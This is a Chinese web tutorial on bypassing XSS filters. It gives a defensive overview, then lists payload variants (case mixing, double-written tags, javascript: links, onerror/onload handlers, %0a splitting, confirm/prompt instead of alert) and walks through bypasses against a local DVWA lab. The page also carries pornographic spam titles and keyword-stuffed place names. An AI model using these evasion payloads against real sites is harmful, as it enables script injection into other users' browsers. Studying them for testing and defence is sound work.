亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

XSS跨站腳本怎么繞過

發布時間:2021-12-20 09:57:11 來源:億速云 閱讀:172 作者:小新 欄目:安全技術

這篇文章主要為大家展示了“XSS跨站腳本怎么繞過”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“XSS跨站腳本怎么繞過”這篇文章吧。

一、XSS(跨站腳本)概述

跨站腳本(Cross-Site Scripting,簡稱為XSS或跨站腳本或跨站腳本攻擊)是一種針對網站應用程序的安全漏洞攻擊技術,是代碼注入的一種。它允許惡意用戶將代碼注入網頁,其他用戶在瀏覽網頁時就會受到影響。惡意用戶利用XSS代碼攻擊成功后,可能得到很高的權限(如執行一些操作)、私密網頁內容、會話和cookie等各種內容。

XSS漏洞一直被評估為web漏洞中危害較大的漏洞,在OWASP TOP10的排名中一直屬于前三的江湖地位。

XSS是一種發生在前端瀏覽器端的漏洞,所以其危害的對象也是前端用戶。

形成XSS漏洞的主要原因是程序對輸入和輸出沒有做合適的處理,導致“精心構造”的字符輸出在前端時被瀏覽器當作有效代碼解析執行從而產生危害。

因此在XSS漏洞的防范上,一般會采用“對輸入進行過濾”和“輸出進行轉義”的方式進行處理:

輸入過濾:對輸入進行過濾,不允許可能導致XSS攻擊的字符輸入;

輸出轉義:根據輸出點的位置對輸出到前端的內容進行適當轉義;

二、XSS的一些變形

1、大小寫和雙寫繞過

<sCRIpt>aLert(1)</sCRIPT>

<scscriptript>alert(1)</scscriptript>

2、a標簽

<a href=”javascript:onclick=alert(1)”>test</a>

<a href=javascript:alert(1)>test</a>

3、src屬性

<img src=x onerror=alert(1)>

<img/src=x onerror=alert(1)>

<video src=x onerror=alert(1)>

<audio src=x onerror=alert(1)>

<iframe src=”javascript:alert(1)”>

4、利用事件繞過

<svg onload=alert(1)><body onload=alert(1)>

<select autofogus onfocus=alert(1)>

<textarea autofocus onfocus=alert(1)>

<video><source onerror="javascript:alert(1)">

<iframe onload=alert(1)>

三、XSS繞過的示例

1、script、on等被處理(字符被轉化為空時可嘗試雙寫)

輸入script、on等關鍵字,f12發現都被處理了;

XSS跨站腳本怎么繞過

通過嘗試發現javascript沒有被處理;

XSS跨站腳本怎么繞過

構建payload:"><a href=javascript:alert(1)>即可繞過;

XSS跨站腳本怎么繞過

2、過濾嚴格時,javascript也會被過濾;

輸入script、on、javascript等關鍵字,抓包發現都被處理了;

XSS跨站腳本怎么繞過

構建payload:javascr%0aipt:alert(1);(在url中輸入,或者抓包修改也可)這里用%0a或者%0D達到換行的效果,以此來繞過;

XSS跨站腳本怎么繞過

3、如何繞過alert關鍵詞

輸入alert后被waf檢測到,并且無法繞過;

XSS跨站腳本怎么繞過

更換函數,構建payload:<script>confirm(/xss/)</script>;(除了confirm還可以使用prompt代替alert)即可繞過;

XSS跨站腳本怎么繞過

4、白名單繞過

在dvwa靶場中,關于xssdom型high難度就是關于白名單繞多;無論輸入什么關鍵詞都會被重定向;

XSS跨站腳本怎么繞過

XSS跨站腳本怎么繞過

我們可以在English后面加一個#,然后在打入語句即可繞過,(#與前面的內容要加一個空格);

payload:http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English #<script>alert(1)</script>;

XSS跨站腳本怎么繞過

以上是“XSS跨站腳本怎么繞過”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

xss
AI

保德县| 澎湖县| 财经| 柳州市| 吴忠市| 扎鲁特旗| 利津县| 灌阳县| 文昌市| 海口市| 茂名市| 通海县| 丹东市| 尖扎县| 鞍山市| 日喀则市| 蚌埠市| 禹州市| 万山特区| 天祝| 舞钢市| 富川| 盖州市| 红桥区| 安福县| 安阳县| 新巴尔虎左旗| 陆川县| 湖南省| 衡阳市| 磐石市| 富锦市| 墨竹工卡县| 长顺县| 滕州市| 镇宁| 冕宁县| 尉氏县| 承德县| 青阳县| 大兴区|